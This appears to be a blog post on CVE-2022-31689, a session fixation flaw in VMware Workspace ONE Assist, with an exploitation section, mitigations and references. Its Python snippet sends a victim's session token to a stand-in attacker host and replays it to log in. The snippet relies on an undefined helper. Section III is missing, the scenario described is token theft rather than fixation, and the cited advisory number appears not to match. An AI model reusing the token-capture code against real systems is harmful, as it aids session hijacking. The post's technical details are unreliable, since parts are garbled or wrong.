In this post, we will explore the CVE-2022-31689 vulnerability found in VMware Workspace ONE Assist versions prior to 22.10. This vulnerability is due to a session fixation issue, which can allow a malicious actor to authenticate to the application using a valid session token obtained from a victim. We will discuss the exploitation details as well as mitigation techniques and provide relevant code snippets and references for further investigation.

I. Vulnerability Background

Session fixation vulnerabilities occur when an attacker can fixate or manipulate a session token or identifier to enable unauthorized access using a valid user's session. In this case, CVE-2022-31689 refers to a session fixation vulnerability in VMware Workspace ONE Assist, a widely used application for remote assistance and device configuration management.

VMware Workspace ONE Assist is an enterprise solution that allows IT administrators to remotely configure, troubleshoot, and control mobile and desktop devices. It is a part of the larger VMware Workspace ONE suite, which includes mobile device management (MDM), identity management, and other capabilities for end-user computing.

II. Exploitation Details

The CVE-2022-31689 vulnerability arises due to inadequate session management in VMware Workspace ONE Assist. If a malicious actor can obtain a valid token (e.g., via a phishing attack or an exploit in another application), they can use it to fraudulently authenticate to the vulnerable application with the privileges of the user associated with that token.

In an example scenario, an attacker could send a phishing email to a victim that appears to be from their organization's IT support team. The email might contain a link to a self-hosted webpage that secretly captures the victim's session token when clicked. Once the attacker has obtained the token, they can use it to authenticate to VMware Workspace ONE Assist and perform actions as if they were the victim.

Here is a simple example of session fixation exploitation in Python

import requests

# Attacker-controlled server to capture the victim's session token
attacker_server_url = "https://evil.example.com/capture_token";

# Malicious link sent to the victim that captures their session token
victim_link = f"{attacker_server_url}?session_token={{victim_session_token}}"

# Attacker obtains the victim's session token from their server
stolen_session_token = get_victim_token(attacker_server_url)

# Attacker uses the stolen token to authenticate to VMware Workspace ONE Assist
workspace_one_assist_url = "https://workspace.example.com";
headers = {"Authorization": f"Token {stolen_session_token}"}
response = requests.get(workspace_one_assist_url, headers=headers)

if response.status_code == 200:
    print("Authenticated to VMware Workspace ONE Assist with stolen token.")

IV. Mitigation Techniques

To remediate this vulnerability, organizations should upgrade their VMware Workspace ONE Assist to version 22.10 or later, which contains a fix for CVE-2022-31689. Additionally, organizations can take the following steps to reduce their exposure to session fixation attacks:

1. Use secure session management mechanisms with proper timeout and session expiration settings, as well as ensuring that tokens cannot be easily brute-forced, predicted, or reused.
2. Implement multifactor authentication (MFA) to reduce the likelihood of unauthorized access using a stolen session token.
3. Educate users about the risks of phishing and the dangers of clicking on suspicious links, as this is a common method for attackers to obtain session tokens.

V. References

1. VMware Security Advisory VMSA-2022-0005: https://www.vmware.com/security/advisories/VMSA-2022-0005.html
2. CVE-2022-31689 Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-31689
3. VMware Workspace ONE Assist: https://www.vmware.com/products/workspace-one/assist.html

Conclusion

In this post, we discussed the CVE-2022-31689 vulnerability affecting VMware Workspace ONE Assist versions prior to 22.10, which is caused by a session fixation issue. We provided an example of how this vulnerability could be exploited and recommended mitigations, including upgrading to the latest version of the software and implementing additional security measures. As the importance of remote assistance and device configuration management continues to grow due to the rise of remote work, it is crucial to stay informed about security vulnerabilities and ensure that your software and systems are up-to-date and secure.

Timeline

Published on: 11/09/2022 21:15:00 UTC
Last modified on: 11/10/2022 19:53:00 UTC